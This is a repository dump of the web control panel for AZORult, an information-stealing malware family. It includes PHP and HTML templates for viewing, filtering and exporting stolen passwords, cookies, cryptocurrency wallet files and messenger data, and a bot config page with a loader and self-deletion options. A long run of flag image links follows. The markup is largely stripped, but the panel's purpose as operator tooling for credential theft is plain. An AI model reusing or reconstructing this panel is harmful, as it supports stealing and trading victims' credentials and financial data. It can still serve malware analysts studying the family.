', ' '), 180 | 'reportsgrid' 181 | ).""; 182 | 183 | $HTML = $tables; 184 | 185 | $HTML = FileToString('./html/guest.html'); 186 | $HTML = str_replace("%PADE_DATA%", $tables, $HTML); 187 | }; 188 | 189 | 190 | 191 | 192 | ShowHomePage(); 193 | echo $HTML; 194 | 195 | ?> -------------------------------------------------------------------------------- /panel/html/cookiesconverter.html: -------------------------------------------------------------------------------- 1 |
2 |
Cookies converter: Netscape to JSON
3 | 45 |

NETSCAPE:

46 | 47 |
48 | 49 |
50 |
51 |

JSON:

52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /panel/html/exporter.html: -------------------------------------------------------------------------------- 1 |
2 |
Exporter
3 | 4 | 5 | 6 |
7 | Passwords list
8 | Logins list
9 | url@login:passwords
10 | login:passwords
11 | SOFT HOST USER PASS
12 | 13 | 14 |
15 | 16 |

Output:

17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /panel/html/fullpage.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | AZORult 4 | 5 | 6 | 7 | 8 | 9 | 10 | 24 | 25 | 26 |
27 | 33 | 34 |
35 |
36 | %MENU% 37 |
38 | 39 | 40 | 41 |
42 | 43 | %PADE_DATA% 44 | 45 |
46 | 47 |
48 |
49 | 50 | 51 | -------------------------------------------------------------------------------- /panel/html/guest.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | AZORult 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |
Guest stat
14 |
15 |
16 | %PADE_DATA% 17 |
18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /panel/html/home.html: -------------------------------------------------------------------------------- 1 | 276 | 277 | 278 |
279 |
Main Page
280 |
281 | 282 | 283 |
284 |
285 | Stats
286 | %STATS% 287 | 288 |
289 |
290 | 291 | 292 |
293 | 294 | 295 | 296 | Config
297 | 298 | 299 | 300 | 301 | 302 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 359 | 360 | 361 | 362 | 363 | 365 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 |
Repeated reports: 303 | 304 | 305 |
Saved passwords:
Browsers cookies and autocomplete:
Browsers history:
Cryptocurrency clients files:
Skype History:
Telegram:
Steam files:
Screenshot:
Files grabber:
355 | 356 | 357 |
358 |
Loader:
364 |

366 | 367 | 368 |
Self-deletion:
378 | 379 |
380 | 381 | 382 | 383 | 389 |
390 | 391 | 392 |
393 | 394 | Control
395 |

396 | 397 | 398 | 399 | 400 | 401 | 402 |
403 | 404 | 405 | 406 |
407 | 408 |
409 | 410 | 411 | 412 |
413 | 414 |
415 | 416 | 417 | 418 |
419 | 420 | 421 | 422 | 423 |
424 | 425 | 426 | -------------------------------------------------------------------------------- /panel/html/importantlinks.html: -------------------------------------------------------------------------------- 1 |
2 |
Important links
3 | 4 |
5 |
6 |

Links:

7 | 8 | 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /panel/html/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | Password: 5 | 6 | 7 | 8 | 9 |
10 | 11 | -------------------------------------------------------------------------------- /panel/html/menu.html: -------------------------------------------------------------------------------- 1 |
2 | 12 | 13 |
-------------------------------------------------------------------------------- /panel/html/passwords.html: -------------------------------------------------------------------------------- 1 |
2 |
Saved Passwords [%count%]
3 |
4 | 5 | 6 | 7 |
8 | Hide FiltersShow Filters 9 |
10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 |
51 | 52 | 53 | 54 | 55 | 56 |
Filter:
Date from:
Date up:
Browsers
FTP
EMAIL
IM
Contain important links:
Report ID:
57 |
58 | 59 |
60 |
61 | 62 | 63 | 64 | 65 |
66 | 67 | 68 |
69 | 70 | 91 | -------------------------------------------------------------------------------- /panel/html/reports.html: -------------------------------------------------------------------------------- 1 |
2 |
Reports [%count%]
3 | 4 | 5 | 6 |
7 | 8 | 9 | 10 |
11 | Hide FiltersShow Filters 12 |
13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | Reports
51 | Trashed reports
52 | All
53 | 54 | 55 | 56 | 57 | 58 | 59 |
Date from:
Date up:
Filter:
Include BTC files:
Include CC:
Include cookie host:
Countries filter:
Contain important links:
60 |
61 | 62 |
63 |
64 | 65 | 66 | 67 | 68 |
69 |
70 | 71 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /panel/html/serverinfo.html: -------------------------------------------------------------------------------- 1 |
2 |
SERVER INFO
3 |

Panel version: 3.2

4 |

PHP Version: %phpversion%

5 | 6 |

"files" folder writable: %filesw%

7 |

"config.json" writable: %configw%

8 |

"links.txt" writable: %linksw%

9 | Basic settings 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 |
VariableValue
post_max_size%post_max_size%
upload_max_filesize%upload_max_filesize%
max_input_time%max_input_time%
max_execution_time%max_execution_time%
memory_limit%memory_limit%
error_log%error_log%
23 | 24 |


25 | Functions and modules 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
NameValue
iconv%iconv%
JSON%jsonmodule%
36 | 37 |


38 |
39 | 40 | 41 | 42 |
43 | Hide 44 | Show php.ini 45 |
46 | %phpini% 47 | 48 |
49 |
50 | 51 | 52 | 53 | 54 |
55 | 56 | 57 | 58 |
59 | 60 | 61 | 62 |
63 | Hide 64 | Show phpinfo 65 |
66 | 69 | 70 |
71 |
72 | 73 | 74 | 75 | 76 |
77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /panel/img/cfg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/cfg.png -------------------------------------------------------------------------------- /panel/img/filter_minus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/filter_minus.png -------------------------------------------------------------------------------- /panel/img/filter_plus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/filter_plus.png -------------------------------------------------------------------------------- /panel/img/flags/aa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/aa.png -------------------------------------------------------------------------------- /panel/img/flags/ad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ad.png -------------------------------------------------------------------------------- /panel/img/flags/ae.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ae.png -------------------------------------------------------------------------------- /panel/img/flags/af.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/af.png -------------------------------------------------------------------------------- /panel/img/flags/ag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ag.png -------------------------------------------------------------------------------- /panel/img/flags/ai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ai.png -------------------------------------------------------------------------------- /panel/img/flags/al.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/al.png -------------------------------------------------------------------------------- /panel/img/flags/am.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/am.png -------------------------------------------------------------------------------- /panel/img/flags/an.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/an.png -------------------------------------------------------------------------------- /panel/img/flags/ao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ao.png -------------------------------------------------------------------------------- /panel/img/flags/ar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ar.png -------------------------------------------------------------------------------- /panel/img/flags/as.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/as.png -------------------------------------------------------------------------------- /panel/img/flags/at.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/at.png -------------------------------------------------------------------------------- /panel/img/flags/au.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/au.png -------------------------------------------------------------------------------- /panel/img/flags/aw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/aw.png -------------------------------------------------------------------------------- /panel/img/flags/ax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ax.png -------------------------------------------------------------------------------- /panel/img/flags/az.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/az.png -------------------------------------------------------------------------------- /panel/img/flags/ba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ba.png -------------------------------------------------------------------------------- /panel/img/flags/bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bb.png -------------------------------------------------------------------------------- /panel/img/flags/bd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bd.png -------------------------------------------------------------------------------- /panel/img/flags/be.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/be.png -------------------------------------------------------------------------------- /panel/img/flags/bf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bf.png -------------------------------------------------------------------------------- /panel/img/flags/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bg.png -------------------------------------------------------------------------------- /panel/img/flags/bh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bh.png -------------------------------------------------------------------------------- /panel/img/flags/bi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bi.png -------------------------------------------------------------------------------- /panel/img/flags/bj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bj.png -------------------------------------------------------------------------------- /panel/img/flags/bm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bm.png -------------------------------------------------------------------------------- /panel/img/flags/bn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bn.png -------------------------------------------------------------------------------- /panel/img/flags/bo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bo.png -------------------------------------------------------------------------------- /panel/img/flags/br.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/br.png -------------------------------------------------------------------------------- /panel/img/flags/bs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bs.png -------------------------------------------------------------------------------- /panel/img/flags/bt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bt.png -------------------------------------------------------------------------------- /panel/img/flags/bv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bv.png -------------------------------------------------------------------------------- /panel/img/flags/bw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bw.png -------------------------------------------------------------------------------- /panel/img/flags/by.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/by.png -------------------------------------------------------------------------------- /panel/img/flags/bz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/bz.png -------------------------------------------------------------------------------- /panel/img/flags/ca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ca.png -------------------------------------------------------------------------------- /panel/img/flags/catalonia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/catalonia.png -------------------------------------------------------------------------------- /panel/img/flags/cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cc.png -------------------------------------------------------------------------------- /panel/img/flags/cd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cd.png -------------------------------------------------------------------------------- /panel/img/flags/cf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cf.png -------------------------------------------------------------------------------- /panel/img/flags/cg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cg.png -------------------------------------------------------------------------------- /panel/img/flags/ch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ch.png -------------------------------------------------------------------------------- /panel/img/flags/ci.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ci.png -------------------------------------------------------------------------------- /panel/img/flags/ck.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ck.png -------------------------------------------------------------------------------- /panel/img/flags/cl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cl.png -------------------------------------------------------------------------------- /panel/img/flags/cm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cm.png -------------------------------------------------------------------------------- /panel/img/flags/cn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cn.png -------------------------------------------------------------------------------- /panel/img/flags/co.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/co.png -------------------------------------------------------------------------------- /panel/img/flags/cr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cr.png -------------------------------------------------------------------------------- /panel/img/flags/cs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cs.png -------------------------------------------------------------------------------- /panel/img/flags/cu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cu.png -------------------------------------------------------------------------------- /panel/img/flags/cv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cv.png -------------------------------------------------------------------------------- /panel/img/flags/cx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cx.png -------------------------------------------------------------------------------- /panel/img/flags/cy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cy.png -------------------------------------------------------------------------------- /panel/img/flags/cz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/cz.png -------------------------------------------------------------------------------- /panel/img/flags/de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/de.png -------------------------------------------------------------------------------- /panel/img/flags/dj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dj.png -------------------------------------------------------------------------------- /panel/img/flags/dk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dk.png -------------------------------------------------------------------------------- /panel/img/flags/dm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dm.png -------------------------------------------------------------------------------- /panel/img/flags/do.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/do.png -------------------------------------------------------------------------------- /panel/img/flags/dz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/dz.png -------------------------------------------------------------------------------- /panel/img/flags/ec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ec.png -------------------------------------------------------------------------------- /panel/img/flags/ee.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ee.png -------------------------------------------------------------------------------- /panel/img/flags/eg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eg.png -------------------------------------------------------------------------------- /panel/img/flags/eh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eh.png -------------------------------------------------------------------------------- /panel/img/flags/england.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/england.png -------------------------------------------------------------------------------- /panel/img/flags/er.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/er.png -------------------------------------------------------------------------------- /panel/img/flags/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/es.png -------------------------------------------------------------------------------- /panel/img/flags/et.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/et.png -------------------------------------------------------------------------------- /panel/img/flags/eu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/eu.png -------------------------------------------------------------------------------- /panel/img/flags/europeanunion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/europeanunion.png -------------------------------------------------------------------------------- /panel/img/flags/fam.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fam.png -------------------------------------------------------------------------------- /panel/img/flags/fi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fi.png -------------------------------------------------------------------------------- /panel/img/flags/fj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fj.png -------------------------------------------------------------------------------- /panel/img/flags/fk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fk.png -------------------------------------------------------------------------------- /panel/img/flags/fm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fm.png -------------------------------------------------------------------------------- /panel/img/flags/fo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fo.png -------------------------------------------------------------------------------- /panel/img/flags/fr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/fr.png -------------------------------------------------------------------------------- /panel/img/flags/ga.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ga.png -------------------------------------------------------------------------------- /panel/img/flags/gb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gb.png -------------------------------------------------------------------------------- /panel/img/flags/gd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gd.png -------------------------------------------------------------------------------- /panel/img/flags/ge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ge.png -------------------------------------------------------------------------------- /panel/img/flags/gf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gf.png -------------------------------------------------------------------------------- /panel/img/flags/gh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gh.png -------------------------------------------------------------------------------- /panel/img/flags/gi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gi.png -------------------------------------------------------------------------------- /panel/img/flags/gl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gl.png -------------------------------------------------------------------------------- /panel/img/flags/gm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gm.png -------------------------------------------------------------------------------- /panel/img/flags/gn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gn.png -------------------------------------------------------------------------------- /panel/img/flags/gp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gp.png -------------------------------------------------------------------------------- /panel/img/flags/gq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gq.png -------------------------------------------------------------------------------- /panel/img/flags/gr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gr.png -------------------------------------------------------------------------------- /panel/img/flags/gs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gs.png -------------------------------------------------------------------------------- /panel/img/flags/gt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gt.png -------------------------------------------------------------------------------- /panel/img/flags/gu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gu.png -------------------------------------------------------------------------------- /panel/img/flags/gw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gw.png -------------------------------------------------------------------------------- /panel/img/flags/gy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/gy.png -------------------------------------------------------------------------------- /panel/img/flags/hk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hk.png -------------------------------------------------------------------------------- /panel/img/flags/hm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hm.png -------------------------------------------------------------------------------- /panel/img/flags/hn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hn.png -------------------------------------------------------------------------------- /panel/img/flags/hr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hr.png -------------------------------------------------------------------------------- /panel/img/flags/ht.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ht.png -------------------------------------------------------------------------------- /panel/img/flags/hu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/hu.png -------------------------------------------------------------------------------- /panel/img/flags/id.png: -------------------------------------------------------------------------------- 